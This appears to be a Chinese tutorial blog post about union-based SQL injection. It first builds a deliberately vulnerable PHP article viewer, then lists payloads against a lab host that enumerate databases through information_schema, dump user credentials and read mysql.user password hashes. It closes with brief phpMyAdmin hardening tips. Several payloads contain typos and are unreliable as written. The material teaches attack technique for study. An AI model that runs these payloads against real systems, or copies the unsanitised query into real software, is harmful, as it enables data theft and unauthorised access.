08-SQL注入--查询漏洞一

一、编写代码,查询文章的源码

1)编写list.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script type="text/javascript" src="jquery-3.4.1.min.js"></script>
    <title>文章列表</title>
    <style>
        table {
            width: 800px;
            margin: auto;
            border: solid 1px green;
            border-spacing: 0px;
        }
        td {
            border: solid 1px gray;
            height: 30px;
        }
    </style>
    <script>
        function doDelete(articleid) {
            if (!window.confirm("你确定要删除该文章吗?")) {
                return false;
            }

            $.post('delete.php', 'articleid='+articleid, function(data){
                if (data == 'delete-ok') {
                    window.alert('删除成功');
                    // location.href = "list.php";
                    location.reload();  // 刷新当前页面
                }
                else {
                    window.alert('删除失败' + data);
                }
            });
        }
    </script>
</head>
<body>
    <table>
        <tr>
            <td>编号</td>
            <td>作者</td>
            <td>标题</td>
            <td>次数</td>
            <td>时间</td>
            <td>操作</td>
        </tr>

    <?php

    include "common.php";

    if (!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true') {
        die ("请先登录. <a href='login.html'>点此登录</a>");
    }

    $conn = create_connection();
    // $conn = mysqli_connect('127.0.0.1', 'root', 'root', 'learn') or die("数据库连接不成功.");
    // mysqli_query($conn, "set names utf8");

    $sql = "select articleid, author, headline, viewcount, createtime from article ";
    $result = mysqli_query($conn, $sql);

    // 将数据库查询的结果集中的数据取出,保存到一个数组中
    $rows = mysqli_fetch_all($result);
    // 遍历结果集数据并在表格中展示
    foreach ($rows as $row) {
        echo '<tr>';
        echo '<td>' . $row[0] . '</td>';
        echo '<td>' . $row[1] . '</td>';
        echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
        echo '<td>' . $row[3] . '</td>';
        echo '<td>' . $row[4] . '</td>';
        echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
        // echo '<td><a href="delete.php?articleid='.$row[0].'">删除</a></td>';
        echo '</tr>';
    }

    mysqli_close($conn);
    ?>

    </table>
</body>
</html> 

2)编写read.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        div {
            width: 800px;
            margin: auto;
            height: 40px;
        }
    </style>
</head>
<body>
    <?php
    include "common.php";

    if (!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true') {
        die ("请先登录. <a href='login.html'>点此登录</a>");
    }

    $conn = create_connection();

    $id = $_GET['id'];
    $sql = "select * from article where articleid=$id";
    $result = mysqli_query($conn, $sql);

    $article = mysqli_fetch_assoc($result);     // 读取结果集中的第一行数据,并用关联数组展示

    ?>

    <div><?=$article['headline']?></div>
    <div><hr></div>
    <div><?=$article['content']?></div>
</body>
</html>

一、查询注入的数据类型

注入点根据可控参数的数据类型不同,可分为3类,分别是:

1、数字型

select *from tables where id = i;

2、字符型

select * from tables username = 'woniu';

3、搜索型

select * from tables where id like '%woniu%'

4、注释方式

数据类型不同,在注入的payload中会有大小不同,主要就是考察对字符语法规则和注释符的运算

二、注入步骤

查看是否有注入点(并且判断注入点的类型)==》判断条数==》显示数字位置==》查询数据库==》查询表==》查询列名==》具体的数据

1、通过and =1,and 1=2的输入,来判断是否存在注入点,如果结果不一致,说明我们输入的语句被数据库执行了。

2、通过观察或报错信息来判定输入点的数据类型,数字型,字符型,搜索型

3、使用order by 来确定主查询数目。order by 本质上是一个排序的语法,但是order by 有个条件,就是排序必须建立在正确的主查询条数上。

所以在注入中用order by并不是为了排序,而是为了确定主查询的条数,确保union select 的查询数与主查询一致。

order by只会在超过主查询列数后才会报错,小于或等于主查询列数不报错

http://192.168.74.133/security/read.php?id=1' order by 6 #不报错说明列数正确==>sql语句闭合后再进行联合查询
http://192.168.74.133/security/read.php?id=-1 union select 1,2,'hello',4,5,6

4、使用union select 查询,将主查询项改成负数或不存在

#union 联合查询的前提:列数相等
select * from tables where id = -1 union selsect 1,2,3,4,5,6.....

如果不知道列数的情况下,可以通过猜测的方式来使用select * from 表名,通常表名是起有意义的,
所以猜测正确的概率是有的,如果表名猜测猜测错误,是会出现错误信息或者查询不出结果,
那么如果只要查询出结果,则说明表名是正确的,且*的列数也是正确的
http://192.168.74.133/security/read.php?id=1 union select 1,2,3,4,5,6 from article
http://192.168.74.133/security/read.php?id=1 union select 1,2,user(),database(),5,6 from article

5、在显示的数字位置上 ,替换对应的查询语句,database(),version(),user()

http://192.168.74.133/security/read.php?id=-1 union select 1,2,3,4,5,6 from article

#还可以直接查询数据表的内容,进而实现拖库,以下查询的前提是需要知道表名和列名
http://192.168.74.133/security/read.php?id=1 union select 1,2,3,(select username from user limit 1,1),5,6

6、使用information_schema进行所有内容查询,得知库名后首先查询表:

SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名"

7、根据库名和表名查出所有的列名:

SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = "库名" ANO
TABLE_NAME="表名"

8、知道表名和列名,可以直接查出表的内容

select group_concat(列名) from "表名"

9、使用concat连接列值,可以一次性取出多列

select concat(username, "==", password,"==",role) as userinfo from user

10、如果查询出多列,只能显示一列,则可以使用limit

select * from user limit 0,1 或 limit 8,1等

select 1,2,table_name,4,5,6 from information_schema.tables where table_schema='learn' limit 1,1

三、进阶用法

1.使用concat_ws指定分隔符,比concat更加方便

select concat_ws('==',username,password,role) as userinfo from user

2.使用group_concat和concat_ws连用

select * from article where arrticleid=-1 union select 1,2,
(select group_concat(table_name) from information_schema,tables where table_schema='learn' ),
(select group_concat(concat_ws('==',username,password,role) from user)),5,6

/security/read.php?id=-1 union select 1,2,3,(select group_concat(cancat_ws('==',articeid,headline,viewcount)) from article),5,6
一次性完整取得数据库中的数据,在利用python进行字符串切分,即可还原为二维表

如何数据两太大,则可以进行分批次

3、十六进制代替单引号的问题

4、浏览所有数据库

/security/read.php?id=-1 union select 1,2,3,(select group_concat(distinct(table_schema)) from information_schema.table,5,6) 

informaion_schaema,learn,mysql,performance_schema,phpmyadmin,xindai,zabbix  发现存在phpmyadmin数据库

尝试访问: /phpmyadmin,如果使用的认证方式为config,则直接进入后台,如何是使用认证方式为:http,这可以进行爆破,所以最好的方式就是不开启phpmyadmin,或者在最需要的时候才开启
可以修改配置文件 /opt/lampp/etc/extra/httpd-xampp.conf
将require all granted 改为require local 


猥琐的解决方法:
把phpmyadmin目录,重命名为不容易猜测的名字:hfkjahsffhffs

5、获取mysql.user的用户名称密码,从而可以进行爆破

security/read.php?id=-1 union select 1,2,3,(select 1,2,3,(select concat(User,'==',Password,'==',Host) from mysql.user limit 0,1),5,6

6、针对非数值型的查询漏洞

select * from article where content like '%页面%';
select * from article where content like '%页面%' -- '页面'

上述查询主要针对MySQL的数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLserver等其他数据库

上述注入均是GET请求,针对POST请求是完全一样的用法,只是将payload移动到Payload移到Post请求的正文当中即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值